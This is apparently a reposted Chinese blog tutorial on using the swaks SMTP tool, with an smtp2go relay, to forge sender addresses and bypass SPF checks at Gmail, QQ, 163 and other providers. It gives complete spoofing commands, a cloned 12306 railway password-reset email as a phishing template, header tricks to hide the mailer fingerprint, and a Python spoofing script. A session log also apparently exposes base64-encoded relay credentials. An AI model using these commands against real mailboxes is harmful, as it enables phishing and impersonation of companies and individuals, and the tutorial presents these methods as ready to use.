0x00 swaks简介

Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。

目前Swaks托管在私有svn存储库中。官方项目页面是http://jetmore.org/john/code/swaks/

下载安装:(kali系统下自带,如果出错,可使用以下地址下载安装)

v20181104.0发行版:http://jetmore.org/john/code/swaks/files/swaks-20181104.0.tar.gz

前提条件:yum install  perl  (centos下)

tar  zxvf  swaks-20181104.0.tar.gz

cd   swaks-20181104.0.

./swaks

0x01  Swaks使用

1.基本使用语法:

1).swaks --to test@qq.com //测试邮箱的连通性;

root@localhost swaks-20181104.0]# ./swaks --to @qq.com  

*** MX Routing not available: requires Net::DNS. Using localhost as mail server

=== Trying localhost:...

=== Connected to localhost.

<-  localhost.localdomain ESMTP Postfix

 -> EHLO localhost

<- -localhost.localdomain

<- -PIPELINING

<- -SIZE 

<- -VRFY

<- -ETRN

<- -ENHANCEDSTATUSCODES

<- -8BITMIME

<-  DSN

 -> MAIL FROM:<root@localhost>

<-  2.1. Ok

 -> RCPT TO:<@qq.com>

<-  2.1. Ok

 -> DATA

<-  End data with <CR><LF>.<CR><LF>

 -> Date: Thu,  May  :: +

 -> To: @qq.com

 -> From: root@localhost

 -> Subject: test Thu,  May  :: +

 -> Message-Id: <20190509182415.044457@localhost>

 -> X-Mailer: swaks v20181104. jetmore.org/john/code/swaks/

 -> 

 -> This is a test mailing

 -> 

 -> 

 -> .

<-  2.0. Ok: queued as 

 -> QUIT

<-  2.0. Bye

=== Connection closed with remote host.

前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件

2).参数说明(这里只是简单的罗列了一些,至于更加具体的内容可以使用--help进行查看了解)

--from test@qq.com //发件人邮箱;

--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证

--body "http://www.baidu.com" //引号中的内容即为邮件正文;

--header "Subject:hello" //邮件头信息,subject为邮件标题

--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送

2.伪造发送 :

1)发送简单内容  (QQ的邮箱被SPF拦截,网易的可发送成功)

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com --from wenqi×@gmail.com --body 诸葛先生,别来无恙~ --header "Subject: 来自大司马的问候" --server mail.smtp2go.com   -p  -au 用户名   -ap  密码    #这里需要到www.smtp2go.com下注册一个免费的发送的邮箱服务器的账号。如果不加--server则会显示错误“MX路由不可用: 使用localhost作为邮件服务器,需要设置Net :: DNS。

=== Trying mail.smtp2go.com:...

=== Connected to mail.smtp2go.com.

<-  mail.smtp2go.com ESMTP Exim 4.91 Thu,  May  :: +

 -> EHLO localhost

<- -mail.smtp2go.com Hello localhost [171.223.206.218]

<- -SIZE 

<- -8BITMIME

<- -DSN

<- -PIPELINING

<- -AUTH CRAM-MD5 PLAIN LOGIN

<- -CHUNKING

<- -STARTTLS

<- -PRDR

<-  HELP

 -> AUTH LOGIN

<-  VXNlcm5hbWU6

 -> YmFja2xpb24=

<-  UGFzc3dvcmQ6

 -> YWpWMmVtTnljRFp5ZWpobw==

<-  Authentication succeeded

 -> MAIL FROM:<wenqing1293@gmail.com>

<-  OK

 -> RCPT TO:<backlions@.com>

<-  Accepted <backlions@.com>

 -> DATA

<-  Enter message, ending with "." on a line by itself

 -> Date: Thu,  May  :: +

 -> To: backlions@.com

 -> From: wenqing1293@gmail.com

 -> Subject: 来自大司马的问候

 -> Message-Id: <20190509184221.044782@localhost>

 -> X-Mailer: swaks v20181104. jetmore.org/john/code/swaks/

 -> 

 -> 诸葛先生,别来无恙~

 -> 

 -> 

 -> .

<-  OK id=1hOgVO-RyuJx4-LX

 -> QUIT

<-  mail.smtp2go.com closing connection

=== Connection closed with remote host.

2)发送邮件模板

模板文件由邮箱中"显示邮件原文" ,另存为 readmail.txt,删除 Received,To相关内容,具体参考高级用法。

[root@localhost swaks-20181104.0]#  ./swaks --to backli×@.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p  -au 用户名  -ap 密码

3)附加附件

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com  --from wenqi×@gmail.com  --body 诸葛先生,别来无恙~ --header "Subject: 来自大司马的问候"   --attach   等级保护.docx   --server mail.smtp2go.com   -p  -au 用户名   -ap  密码  
 

4).复杂邮件

swaks --to <要测试的邮箱> --from <被伪造的邮箱> --ehlo <网址> --body <邮件内容> --header <邮件标题>

[root@localhost swaks-20181104.0]# ./swaks  --to     backlions@.com   --from  wenqing1293@gamil.com    --ehlo   freebuf.com   --body  hello    --header "Subject: hello"

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息,subject为邮件标题>

在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok

5)如果您的localhost无法发送邮件,您可以使用以下命令指定可靠的SMTP服务器:

swaks --to user@example.com --server smtp.example.com

3.高级用法

点击查看邮件原文,然后将邮件原文复制,另存为test.eml文件

对test.eml文件进行修改:to:后面的目标邮箱即可

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p  -au 用户名  -ap 密码
=== Trying mail.smtp2go.com:...
=== Connected to mail.smtp2go.com.
<- mail.smtp2go.com ESMTP Exim 4.91 Thu, May :: +
-> EHLO localhost
<- -mail.smtp2go.com Hello localhost [171.223.206.218]
<- -SIZE
<- -8BITMIME
<- -DSN
<- -PIPELINING
<- -AUTH CRAM-MD5 PLAIN LOGIN
<- -CHUNKING
<- -STARTTLS
<- -PRDR
<- HELP
-> AUTH LOGIN
<- VXNlcm5hbWU6
-> YmFja2x×
<- UGFzc3dvcmQ6
-> YWpWMmVtTnljRFp5Z×
<- Authentication succeeded
-> MAIL FROM:<wenqin×@gamil.com>
<- OK
-> RCPT TO:<back×@.com>
<- Accepted <bac×@.com>
-> DATA
<- Enter message, ending with "." on a line by itself
-> Received: from mail..cn (unknown [124.127.44.247])
-> by newmx31.qq.com (NewMx) with SMTP id
-> for <×@qq.com>; Sun, Jan :: +
-> X-QQ-FEAT: y37167hFrfVQgRwaJgHKCRxOzlAGmr/AUask8Gt3aaw=
-> X-QQ-MAILINFO: MHG2h55yn1llklKTjNwQJdtfp46IVGVTPzA2xPoaUP1h+EXLeI+swrHhT
-> mpCCV5gt0hGnIzMreYVhczG4URIQzkNwhHU6RpKU98dM9WIcUCqTnKVA+/bP9Cm4+epY5N1
-> rCpl5zs0xdiDi/Z/GS/ebiwHPp6QSatTZA==
-> X-QQ-mid: mx31t1546749631tggruynog
-> X-QQ-ORGSender: @rails.com.cn
-> Received: from mail..cn (unknown [10.1.214.138])
-> by mail..cn (Postfix) with ESMTP id 4C16720797
-> for <×@qq.com>; Sun, Jan :: + (CST)
-> Date: Sun, Jan :: + (CST)
-> From: "12306@rails.com.cn" <@rails.com.cn>
-> To: "backl×@163.com" <backlio×@.com>
-> Message-ID: <81646906.18623783.@10.1.214.135>
-> Subject: 网上购票系统-用户密码找回
-> MIME-Version: 1.0
-> Content-Type: multipart/alternative;
-> boundary="----=_Part_18623781_1540198882.1546749630360"
->
-> ------=_Part_18623781_1540198882.
-> Content-Type: text/html; charset=gbk
-> Content-Transfer-Encoding: quoted-printable
->
-> <!DOCTYPE html>
-> <html>
-> <head>
-> <meta charset=3D"utf-8">
-> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge,chrome=3D1">
-> <title>=CD=A8=D6=AA=D3=CA=BC=FE</title>
-> <meta name=3D"description" content=3D"">
-> <meta name=3D"keywords" content=3D"">
-> <link href=3D"" rel=3D"stylesheet">
-> </head>
-> <body>
-> =<table cellspacing=3D"" cellpadding=3D"" width=3D"760px"
-> ==09style=3D"border-spacing: 0; color: #333333; border: 1px solid #f1f1f1=
-> ; margin-left: auto; margin-right: auto;">
-> ==<tr>
-> ===<td width=3D"">
-> ====<img src=3D"http://mobile.12306.cn/weixin/resources/weixin/imag=
-> es/mail/mail_top.jpg" width=3D"" height=3D"">
-> ===</td>
-> ==</tr>
-> ==<tr>
-> ===<td width=3D""
-> ====09style=3D"padding-left: 20px; padding-right: 20px; background: u=
-> rl(http://mobile.12306.cn/weixin/resources/weixin/images/mail/mail_train.jp=
-> g); background-position: bottom right; background-repeat: no-repeat;">
-> ====<table cellspacing=3D"" cellpadding=3D"" width=3D"720px"
-> =====09style=3D"border-spacing: 0; color: #333333;">
-> =====<tr>
-> ======<td width=3D""
-> =======09style=3D"font-size: 16px; height: 40px; font-weight: b=
-> old;">
-> ========D7=F0=BE=B4=B5=C4 <span style=3D"color: #ff764c;">=CE=
-> =C4=BA=A3=B8=D5=CF=C8=C9=FA=A3=BA</span>
-> ======</td>
-> =====</tr>
-> =====<tr>
-> ======<td width=3D"">
-> =======<div style=3D"line-height: 20px; font-size: 12px;">=C4=
-> =FA=BA=C3=A3=A1</div>
-> =======<div style=3D"line-height: 20px; font-size: 12px;">=C4=
-> =FA=D4=DA2019=C4=EA01=D4=C206=C8=D5 =CA=B140=B7=D6=CC=E1=BD=BB=D5=D2=BB=
-> =D8=C3=DC=C2=EB=C7=EB=C7=F3=A3=AC=C7=EB=B5=E3=BB=F7=CF=C2=C3=E6=B5=C4=C1=B4=
-> =BD=D3=D0=DE=B8=C4=D3=C3=BB=A7wen129=B5=C4=C3=DC=C2=EB:</div>
-> ======</td>
-> =====</tr>
-> =====<tr>
-> ======<td width=3D"" style=3D"padding-top: 10px; padding-bot=
-> tom: 10px;">
-> =======<div style=3D"border-top: 1px dashed #e9ecf0; border-b=
-> ottom: 1px dashed #e9ecf0; color: #; font-size: 14px; padding-top: =
-> px; padding-bottom: 10px;">
-> ========<div style=3D"line-height: 20px; width:720px; color=
-> : #; padding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> =========<a href=3Dhttps://kyfw.12306.cn/otn//forgetPassw=
-> ord/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d634f06f0f1&lostTimeToDb=
-> =3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B1238FBC>https://kyfw.12=
-> .cn/otn//forgetPassword/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d=
-> 634f06f0f1&lostTimeToDb=3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B=
-> 1238FBC</a>
-> ========</div>
-> ========
-> ========<div style=3D"line-height: 20px; color: #000000; pa=
-> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> =========(=C8=E7=B9=FB=C4=FA=CE=DE=B7=A8=B5=E3=BB=F7=D5=
-> =E2=B8=F6=C1=B4=BD=D3=A3=AC=C7=EB=BD=AB=B4=CB=C1=B4=BD=D3=B8=B4=D6=C6=B5=BD=
-> =E4=AF=C0=C0=C6=F7=B5=D8=D6=B7=C0=B8=BA=F3=B7=C3=CE=CA)
-> ========</div>
-> ========
-> ========<div style=3D"line-height: 20px; color: #000000; pa=
-> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> ==========CE=AA=C1=CB=B1=A3=D6=A4=C4=FA=D5=CA=BA=C5=B5=C4=
-> =B0=B2=C8=AB=D0=D4=A3=AC=B8=C3=C1=B4=BD=D3=D3=D0=D0=A7=C6=DA=CE=AA24=D0=A1=
-> =CA=B1=A3=AC=B2=A2=C7=D2=B5=E3=BB=F7=D2=BB=B4=CE=BA=F3=BD=AB=CA=A7=D0=A7!
-> ========</div>
-> ========<div style=3D"line-height: 20px; color: #000000; pa=
-> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> ==========C9=E8=D6=C3=B2=A2=C0=CE=BC=C7=C3=DC=C2=EB=B1=A3=
-> =BB=A4=CE=CA=CC=E2=BD=AB=B8=FC=BA=C3=B5=D8=B1=A3=D5=CF=C4=FA=B5=C4=D5=CA=BA=
-> =C5=B0=B2=C8=AB=A1=A3
-> ========</div>
-> ========<div style=3D"line-height: 20px; color: #000000; pa=
-> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> ==========C8=E7=B9=FB=C4=FA=CE=F3=CA=D5=B5=BD=B4=CB=B5=E7=
-> =D7=D3=D3=CA=BC=FE=A3=AC=D4=F2=BF=C9=C4=DC=CA=C7=C6=E4=CB=FB=D3=C3=BB=A7=D4=
-> =DA=B3=A2=CA=D4=D5=CA=BA=C5=C9=E8=D6=C3=CA=B1=B5=C4=CE=F3=B2=D9=D7=F7=A3=AC=
-> =C8=E7=B9=FB=C4=FA=B2=A2=CE=B4=B7=A2=C6=F0=B8=C3=C7=EB=C7=F3=A3=AC=D4=F2=CE=
-> =DE=D0=E8=D4=D9=BD=F8=D0=D0=C8=CE=BA=CE=B2=D9=D7=F7=A3=AC=B2=A2=BF=C9=D2=D4=
-> =B7=C5=D0=C4=B5=D8=BA=F6=C2=D4=B4=CB=B5=E7=D7=D3=D3=CA=BC=FE=A1=A3
-> ========</div>
-> ========<div style=3D"line-height: 20px; color: #000000; pa=
-> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
-> ==========C8=F4=C4=FA=B5=A3=D0=C4=D5=CA=BA=C5=B0=B2=C8=AB=
-> =A3=AC=BD=A8=D2=E9=C4=FA=C1=A2=BC=B4=B5=C7=C2=BC=A3=AC=BD=F8=C8=EB=A1=B0=CE=
-> =D2=B5=C412306=A1=B1=A3=AC=C3=DC=C2=EB=D0=DE=B8=C4=D6=D0=D0=DE=B8=C4=C3=DC=
-> =C2=EB=A1=A3
-> ========</div>
-> =======</div>
-> ======</td>
-> =====</tr>
-> =====<tr>
-> ======<td width=3D"">
-> =======<table cellspacing=3D"" cellpadding=3D"" width=3D"72=
-> 0px"
-> ========09style=3D"border-spacing: 0; color: #333333;">
-> ========<tr>
-> =========<td></td>
-> =========<td width=3D""
-> ==========09style=3D"text-align: center; height: 24px; fo=
-> nt-size: 12px;">
-> ==========<img src=3D"http://mobile.12306.cn/weixin/res=
-> ources/weixin/images/mail/mail_logo.jpg"
-> ==========09alt=3D"logo" width=3D"" height=3D""
-> ==========09style=3D"vertical-align: bottom; margin-right=
-> : 10px;">=D6=D0=B9=FA=CC=FA=C2=B7=BF=CD=BB=A7=B7=FE=CE=F1=D6=D0=D0=C4
-> =========</td>
-> ========</tr>
-> ========<tr>
-> =========<td></td>
-> =========<td width=3D""
-> ==========09style=3D"text-align: center; height: 24px; fo=
-> nt-size: 12px;">2019=C4=EA01=D4=C206=C8=D5</td>
-> ========</tr>
-> =======</table>
-> ======</td>
-> =====</tr>
-> =====<tr>
-> ======<td width=3D"" style=3D"padding-top: 10px; padding-bot=
-> tom: 15px;">
-> =======<img src=3D"http://mobile.12306.cn/weixin/resources/we=
-> ixin/images/mail/mail_line.jpg" alt=3D"">
-> ======</td>
-> =====</tr>
-> ====</table>
-> ===</td>
-> ==</tr>
-> =</table>
-> </body>
-> </html>
->
-> ------=_Part_18623781_1540198882.--
->
->
-> .
<- OK id=1hOhIj-RyuRWW-5t
-> QUIT
<- mail.smtp2go.com closing connection
=== Connection closed with remote host.

0x02  smtp2go配置

这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。

注册地址:https://www.smtp2go.com/

(邮箱注册)普通账户可以免费发1000封邮件。

这时候需要在设置菜单中的uses中新建一个账号,密码可以自动生成或者自己修改。

 

0x03 swaks发送邮件

swaks --to wenqing*@gmail.com   --from  admin@qq.com  --ehlo  gmail.com  --body  hello  --server mail.smtp2go.com -p  -au 用户名  -ap  密码

上面该命令也可绕过gamil邮件发送:

 

0x04 SPF验证原理

如果mail.smtp2go.com是我的邮件服务器,那么Gmail的服务器收到的源IP也肯定是mail.smtp2go.com的IP。

Gmail中会校验邮件发送者的IP是否存在于smtp.from的域名SPF配置列表里。

而上面这条命令:

swaks --to wenqing*@gmail.com  --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p  -au <USER> -ap <PASS>

smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。

默认情况下,如果未设置Mail.From也就是邮件头的发件人,则会使用smtp.from作为Mail.From。

0x05 绕过SPF

由于邮件显示的是接头连接器中的来自不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。

swaks --to wenqi*@gmail.com    --from what@smtp2go.com  --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello  --server mail.smtp2go.com  -p    -au  用户名    -ap  密码

Gmail中接收到这封邮件后,校验会--from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。

而DKIM是校验邮件完整性的,smtp2go与Gmail中直接使用的是TLS,不会发生什么问题。

 

 

0x06  修改标题

swaks支持自定义某些报头,参数如下:

swaks --header-<Name> <Value>

如果我想去除梅勒特征,就可以这么做:

swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello  --header "Subject: this is a test "  --server mail.smtp2go.com -p  -au <USER> -ap <PASSS>
 

0x07 Python脚本

#!/usr/bin/python
# -*- coding: UTF- -*- import smtplib
from email.mime.text import MIMEText
from email.header import Header mail_host="mail.smtp2go.com"
mail_user=""
mail_pass="" sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com'] message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] = Header(receivers[], 'utf-8') subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8') try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, )
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"

0x08 总结

经测试,通过swaks 加smtp2go中转服务器可以绕过icloud.com ,aliyun.com,gmail.com,163.com等邮箱的SPF进行邮件伪造。

0x09 参考文献

https://payloads.online/archivers/2019-05-09/1 
 

Swaks绕过SPF验证进行邮件伪造的更多相关文章

  1. SPF难以解决邮件伪造的现状以及方案

    邮件伪造的现状 仿冒域名 私搭邮服仿冒域名: 例如某公司企业的域名是example.com,那么攻击者可以搭建一个邮服,也把自己的域名配置为example.com,然后发邮件给真实的企业员工xxx@e ...

  2. 邮件伪造测试-Swaks

    1. 前言 在kali中自带一个邮件伪造工具Swaks,工具项目主页为 http://jetmore.org/john/code/swaks 2.基本用法: swaks --to --from --e ...

  3. 利用SPF记录缺失发送伪造邮件

    SPF,也就是 Sender Policy Framework 的缩写,是一种以IP地址认证电子邮件发件人身份的技术,是非常高效的垃圾邮件解决方案. 如何查询所属域名邮箱的SPF记录? 查询的结果,从 ...

  4. SPF邮件伪造漏洞测试脚本

    测试脚本: # -*- coding: utf-8 -*- import socket,select,base64,os,re,time,datetime class mail: def __init ...

  5. [Java] 绕过证书验证调 HTTPS 接口时报 “SSLHandshakeException: DHPublicKey does not comply to algorithm constraints”的解决办法

    作者: zyl910 一.缘由 最近有在对接一个无证书的HTTPS接口时,总是收到"SSLHandshakeException: DHPublicKey does not comply to ...

  6. OD之绕过序列号验证(二)

    上次是修改程序的标题,大家应该感觉这只是一个起点而已,接下来我们可以尝试绕过序列号验证,这种技术应用在很多软件中,比如淘宝上要买什么的软件,商家都会发给`你一个用户名和密码,而且还有试用期什么的,这确 ...

  7. 轻松把玩HttpClient之配置ssl,采用绕过证书验证实现https

    上篇文章说道httpclient不能直接访问https的资源,这次就来模拟一下环境,然后配置https测试一下.在前面的文章中,分享了一篇自己生成并在tomcat中配置ssl的文章<Tomcat ...

  8. zabbix身份验证流程解析&绕过身份验证的方法

    由于实验室产品的监控模块的需求,需要绕过zabbix的验证模块,实现从二级平台到zabbix的无缝接入. 测试发现,zabbix的身份验证并不是想象的那么简单,为了实现功能,遂进行源码分析. zabb ...

  9. 一个PHP邮件伪造脚本

    xx.html <html> <head> <title>邮件欺骗</title> <body> <h3>社工必备-邮件欺骗&l ...

随机推荐

  1. 文件操作b模式

    不能制指定编码 二进制写操作的两种方式 closed 文件是否打开 encoding 文件的打开编码 flush() 刷新:将写的内容保存起来 tell() 当前光标位置在哪里 seek()控制光标移 ...

  2. org.Hs.eg.db

    bioconduction 主页 http://www.bioconductor.org/packages/release/data/annotation/html/org.Hs.eg.db.html ...

  3. PyCharmIDE: 给脚本传递参数

  4. a标签设置水平右对齐

      1.情景展示 如上图所示,这其实是一个a标签,如何让它右对齐呢? 2.解决方案 第一步:将行内标签转化成块级元素,即display:block: 第二步:文字右对齐,即text-align:rig ...

  5. 学Redis这篇就够了!

    学Redis这篇就够了!   作者:王爷科技 https://www.toutiao.com/i6713520017595433485 Redis 简介 & 优势 Redis 数据类型 发布订 ...

  6. 二分法构造AVL树

    public class ConvertSortedArrayToBinarySearchTree { public static TreeNode sortedArrayToBST(int[] nu ...

  7. linux 远程文件复制和拉取

    基本命令格式 上传 scp -r  myfilder  tiantian@192.168.168.221:/home/tiantian/temp/ 复制本地文件到远程/home/tiantian/te ...

  8. TPad需求和迭代

    需求和迭代最主要的区别是什么

  9. [SOJ #721]第三送分题(2019-11-14考试)/[CF675E]Trains and Statistic

    题目大意 在一条直线上有\(n\)个点.在第\(i\)个点可以花费\(1\)的代价到达\((i,a_i]\)中任意一点,用\(S[i][j]\)表示从点\(i\)到点\(j\)的最少花费,求\(\su ...

  10. 可落地的DDD(3)-如何利用DDD进行微服务的划分

    摘要 前面两篇介绍了DDD的目标管理.DDD的工程结构调整.这篇讨论微服务的划分.微服务是目前后端比较流行的架构体系了,那么如何做好一个微服务的划分?一个微服务的粒度应该是多大呢?这篇主要介绍如何结合 ...